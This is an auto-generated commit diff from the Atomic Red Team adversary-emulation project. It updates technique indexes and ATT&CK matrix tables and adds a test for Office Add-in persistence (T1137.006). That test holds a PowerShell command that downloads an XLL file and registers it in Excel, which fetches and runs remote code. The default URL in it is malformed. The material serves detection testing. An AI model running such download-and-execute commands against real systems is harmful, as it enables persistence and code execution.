Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci]

This commit is contained in:
CircleCI Atomic Red Team doc generator
2021-08-06 21:59:23 +00:00
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@@ -511,6 +511,7 @@ persistence,T1546.008,Accessibility Features,2,Replace binary of sticky keys,934
persistence,T1098,Account Manipulation,1,Admin Account Manipulate,5598f7cb-cf43-455e-883a-f6008c5d46af,powershell
persistence,T1098,Account Manipulation,2,Domain Account and Group Manipulate,a55a22e9-a3d3-42ce-bd48-2653adb8f7a9,powershell
persistence,T1098,Account Manipulation,3,AWS - Create a group and add a user to that group,8822c3b0-d9f9-4daf-a043-49f110a31122,sh
persistence,T1137.006,Add-ins,1,Code Executed Via Excel Add-in File (Xll),441b1a0f-a771-428a-8af0-e99e4698cda3,powershell
persistence,T1098.001,Additional Cloud Credentials,1,Azure AD Application Hijacking - Service Principal,b8e747c3-bdf7-4d71-bce2-f1df2a057406,powershell
persistence,T1098.001,Additional Cloud Credentials,2,Azure AD Application Hijacking - App Registration,a12b5531-acab-4618-a470-0dafb294a87a,powershell
persistence,T1098.001,Additional Cloud Credentials,3,AWS - Create Access Key and Secret Key,8822c3b0-d9f9-4daf-a043-491160a31122,sh
1 Tactic Technique # Technique Name Test # Test Name Test GUID Executor Name
511 persistence T1098 Account Manipulation 1 Admin Account Manipulate 5598f7cb-cf43-455e-883a-f6008c5d46af powershell
512 persistence T1098 Account Manipulation 2 Domain Account and Group Manipulate a55a22e9-a3d3-42ce-bd48-2653adb8f7a9 powershell
513 persistence T1098 Account Manipulation 3 AWS - Create a group and add a user to that group 8822c3b0-d9f9-4daf-a043-49f110a31122 sh
514 persistence T1137.006 Add-ins 1 Code Executed Via Excel Add-in File (Xll) 441b1a0f-a771-428a-8af0-e99e4698cda3 powershell
515 persistence T1098.001 Additional Cloud Credentials 1 Azure AD Application Hijacking - Service Principal b8e747c3-bdf7-4d71-bce2-f1df2a057406 powershell
516 persistence T1098.001 Additional Cloud Credentials 2 Azure AD Application Hijacking - App Registration a12b5531-acab-4618-a470-0dafb294a87a powershell
517 persistence T1098.001 Additional Cloud Credentials 3 AWS - Create Access Key and Secret Key 8822c3b0-d9f9-4daf-a043-491160a31122 sh
@@ -348,6 +348,7 @@ persistence,T1546.008,Accessibility Features,1,Attaches Command Prompt as a Debu
persistence,T1546.008,Accessibility Features,2,Replace binary of sticky keys,934e90cf-29ca-48b3-863c-411737ad44e3,command_prompt
persistence,T1098,Account Manipulation,1,Admin Account Manipulate,5598f7cb-cf43-455e-883a-f6008c5d46af,powershell
persistence,T1098,Account Manipulation,2,Domain Account and Group Manipulate,a55a22e9-a3d3-42ce-bd48-2653adb8f7a9,powershell
persistence,T1137.006,Add-ins,1,Code Executed Via Excel Add-in File (Xll),441b1a0f-a771-428a-8af0-e99e4698cda3,powershell
persistence,T1546.010,AppInit DLLs,1,Install AppInit Shim,a58d9386-3080-4242-ab5f-454c16503d18,command_prompt
persistence,T1546.011,Application Shimming,1,Application Shim Installation,9ab27e22-ee62-4211-962b-d36d9a0e6a18,command_prompt
persistence,T1546.011,Application Shimming,2,New shim database files created in the default shim database directory,aefd6866-d753-431f-a7a4-215ca7e3f13d,powershell
1 Tactic Technique # Technique Name Test # Test Name Test GUID Executor Name
348 persistence T1546.008 Accessibility Features 2 Replace binary of sticky keys 934e90cf-29ca-48b3-863c-411737ad44e3 command_prompt
349 persistence T1098 Account Manipulation 1 Admin Account Manipulate 5598f7cb-cf43-455e-883a-f6008c5d46af powershell
350 persistence T1098 Account Manipulation 2 Domain Account and Group Manipulate a55a22e9-a3d3-42ce-bd48-2653adb8f7a9 powershell
351 persistence T1137.006 Add-ins 1 Code Executed Via Excel Add-in File (Xll) 441b1a0f-a771-428a-8af0-e99e4698cda3 powershell
352 persistence T1546.010 AppInit DLLs 1 Install AppInit Shim a58d9386-3080-4242-ab5f-454c16503d18 command_prompt
353 persistence T1546.011 Application Shimming 1 Application Shim Installation 9ab27e22-ee62-4211-962b-d36d9a0e6a18 command_prompt
354 persistence T1546.011 Application Shimming 2 New shim database files created in the default shim database directory aefd6866-d753-431f-a7a4-215ca7e3f13d powershell
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@@ -868,7 +868,8 @@
- Atomic Test #3: AWS - Create a group and add a user to that group [iaas:aws]
- T1547.014 Active Setup [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- T1098.003 Add Office 365 Global Administrator Role [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- T1137.006 Add-ins [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1137.006 Add-ins](../../T1137.006/T1137.006.md)
- Atomic Test #1: Code Executed Via Excel Add-in File (Xll) [windows]
- [T1098.001 Additional Cloud Credentials](../../T1098.001/T1098.001.md)
- Atomic Test #1: Azure AD Application Hijacking - Service Principal [azure-ad]
- Atomic Test #2: Azure AD Application Hijacking - App Registration [azure-ad]
@@ -622,7 +622,8 @@
- Atomic Test #1: Admin Account Manipulate [windows]
- Atomic Test #2: Domain Account and Group Manipulate [windows]
- T1547.014 Active Setup [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- T1137.006 Add-ins [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1137.006 Add-ins](../../T1137.006/T1137.006.md)
- Atomic Test #1: Code Executed Via Excel Add-in File (Xll) [windows]
- T1546.009 AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1546.010 AppInit DLLs](../../T1546.010/T1546.010.md)
- Atomic Test #1: Install AppInit Shim [windows]
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| Compromise Hardware Supply Chain [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [At (Linux)](../../T1053.001/T1053.001.md) | [Account Manipulation](../../T1098/T1098.md) | Access Token Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Access Token Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Application Window Discovery](../../T1010/T1010.md) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Archive Collected Data](../../T1560/T1560.md) | [Data Transfer Size Limits](../../T1030/T1030.md) | Asymmetric Cryptography [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application Exhaustion Flood [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| Compromise Software Dependencies and Development Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [At (Windows)](../../T1053.002/T1053.002.md) | Active Setup [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Accessibility Features](../../T1546.008/T1546.008.md) | Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AS-REP Roasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Bookmark Discovery](../../T1217/T1217.md) | [Distributed Component Object Model](../../T1021.003/T1021.003.md) | Archive via Custom Method [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Bidirectional Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| Compromise Software Supply Chain [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Add Office 365 Global Administrator Role [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Active Setup [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Asynchronous Procedure Call](../../T1055.004/T1055.004.md) | [Bash History](../../T1552.003/T1552.003.md) | Cloud Account [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Archive via Library](../../T1560.002/T1560.002.md) | Exfiltration Over Asymmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Destruction](../../T1485/T1485.md) |
| [Default Accounts](../../T1078.001/T1078.001.md) | Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Add-ins [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](../../T1197/T1197.md) | Brute Force [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Cloud Groups [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Archive via Utility](../../T1560.001/T1560.001.md) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encrypted for Impact](../../T1486/T1486.md) |
| [Default Accounts](../../T1078.001/T1078.001.md) | Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Add-ins](../../T1137.006/T1137.006.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](../../T1197/T1197.md) | Brute Force [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Cloud Groups [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Archive via Utility](../../T1560.001/T1560.001.md) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encrypted for Impact](../../T1486/T1486.md) |
| Domain Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Additional Cloud Credentials](../../T1098.001/T1098.001.md) | [AppInit DLLs](../../T1546.010/T1546.010.md) | [Binary Padding](../../T1027.001/T1027.001.md) | Cached Domain Credentials [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Cloud Infrastructure Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Lateral Tool Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Audio Capture](../../T1123/T1123.md) | Exfiltration Over C2 Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DNS](../../T1071.004/T1071.004.md) | Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Container Administration Command](../../T1609/T1609.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Application Shimming](../../T1546.011/T1546.011.md) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Cloud Instance Metadata API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Cloud Service Dashboard [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Pass the Hash](../../T1550.002/T1550.002.md) | [Automated Collection](../../T1119/T1119.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | DNS Calculation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [AppInit DLLs](../../T1546.010/T1546.010.md) | [Asynchronous Procedure Call](../../T1055.004/T1055.004.md) | Build Image on Host [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Container API](../../T1552.007/T1552.007.md) | Cloud Service Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Pass the Ticket](../../T1550.003/T1550.003.md) | [Clipboard Data](../../T1115/T1115.md) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Direct Network Flood [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
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| Compromise Hardware Supply Chain [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [At (Windows)](../../T1053.002/T1053.002.md) | [Accessibility Features](../../T1546.008/T1546.008.md) | Abuse Elevation Control Mechanism [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Abuse Elevation Control Mechanism [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Account Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Exfiltration](../../T1020/T1020.md) | Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Account Access Removal](../../T1531/T1531.md) |
| Compromise Software Dependencies and Development Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Account Manipulation](../../T1098/T1098.md) | Access Token Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Access Token Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AS-REP Roasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Application Window Discovery](../../T1010/T1010.md) | [Distributed Component Object Model](../../T1021.003/T1021.003.md) | [Archive Collected Data](../../T1560/T1560.md) | Data Transfer Size Limits [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Asymmetric Cryptography [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application Exhaustion Flood [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| Compromise Software Supply Chain [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Active Setup [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Accessibility Features](../../T1546.008/T1546.008.md) | [Asynchronous Procedure Call](../../T1055.004/T1055.004.md) | Brute Force [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Bookmark Discovery](../../T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Archive via Custom Method [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Alternative Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bidirectional Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| [Default Accounts](../../T1078.001/T1078.001.md) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Add-ins [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Active Setup [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](../../T1197/T1197.md) | Cached Domain Credentials [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Domain Account](../../T1087.002/T1087.002.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Archive via Library [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Asymmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Destruction](../../T1485/T1485.md) |
| [Default Accounts](../../T1078.001/T1078.001.md) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Add-ins](../../T1137.006/T1137.006.md) | Active Setup [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](../../T1197/T1197.md) | Cached Domain Credentials [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Domain Account](../../T1087.002/T1087.002.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Archive via Library [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Asymmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Destruction](../../T1485/T1485.md) |
| Domain Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](../../T1559.002/T1559.002.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential API Hooking](../../T1056.004/T1056.004.md) | [Domain Groups](../../T1069.002/T1069.002.md) | Lateral Tool Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Archive via Utility](../../T1560.001/T1560.001.md) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encrypted for Impact](../../T1486/T1486.md) |
| Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](../../T1546.010/T1546.010.md) | [AppInit DLLs](../../T1546.010/T1546.010.md) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Credential Stuffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Domain Trust Discovery](../../T1482/T1482.md) | [Pass the Hash](../../T1550.002/T1550.002.md) | [Audio Capture](../../T1123/T1123.md) | Exfiltration Over C2 Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DNS](../../T1071.004/T1071.004.md) | Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Application Shimming](../../T1546.011/T1546.011.md) | [Application Shimming](../../T1546.011/T1546.011.md) | [Bypass User Account Control](../../T1548.002/T1548.002.md) | [Credentials In Files](../../T1552.001/T1552.001.md) | Email Account [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Pass the Ticket](../../T1550.003/T1550.003.md) | [Automated Collection](../../T1119/T1119.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | DNS Calculation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
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@@ -37573,7 +37573,31 @@ persistence:
x_mitre_platforms:
- Windows
- Office 365
atomic_tests: []
identifier: T1137.006
atomic_tests:
- name: Code Executed Via Excel Add-in File (Xll)
auto_generated_guid: 441b1a0f-a771-428a-8af0-e99e4698cda3
description: "Downloads a XLL file and loads it using the excel add-ins library.\nThis
causes excel to display the message \"Hello World\"\nSource of XLL - https://github.com/edparcell/HelloWorldXll
\n"
supported_platforms:
- windows
input_arguments:
xll_url:
description: url of the file HelloWorldXll.xll
type: url
default: https://https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1137.006/bin/HelloWorldXll.xll?raw=true
local_file:
description: name of the xll file
type: path
default: "$env:tmp\\HelloWorldXll.xll"
executor:
name: powershell
elevation_required: true
command: 'powershell -c "iwr -URI ''#{xll_url}'' -o ''#{local_file}''; IEX
((new-object -ComObject excel.application).RegisterXLL(''$env:tmp\HelloWorldXll.xll''))"
'
T1098.001:
technique:
external_references:
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@@ -0,0 +1,47 @@
# T1137.006 - Add-ins
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1137/006)
<blockquote>Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)
Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. </blockquote>
## Atomic Tests
- [Atomic Test #1 - Code Executed Via Excel Add-in File (Xll)](#atomic-test-1---code-executed-via-excel-add-in-file-xll)
<br/>
## Atomic Test #1 - Code Executed Via Excel Add-in File (Xll)
Downloads a XLL file and loads it using the excel add-ins library.
This causes excel to display the message "Hello World"
Source of XLL - https://github.com/edparcell/HelloWorldXll
**Supported Platforms:** Windows
**auto_generated_guid:** 441b1a0f-a771-428a-8af0-e99e4698cda3
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| xll_url | url of the file HelloWorldXll.xll | url | https://https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1137.006/bin/HelloWorldXll.xll?raw=true|
| local_file | name of the xll file | path | $env:tmp&#92;HelloWorldXll.xll|
#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)
```powershell
powershell -c "iwr -URI '#{xll_url}' -o '#{local_file}'; IEX ((new-object -ComObject excel.application).RegisterXLL('$env:tmp\HelloWorldXll.xll'))"
```
<br/>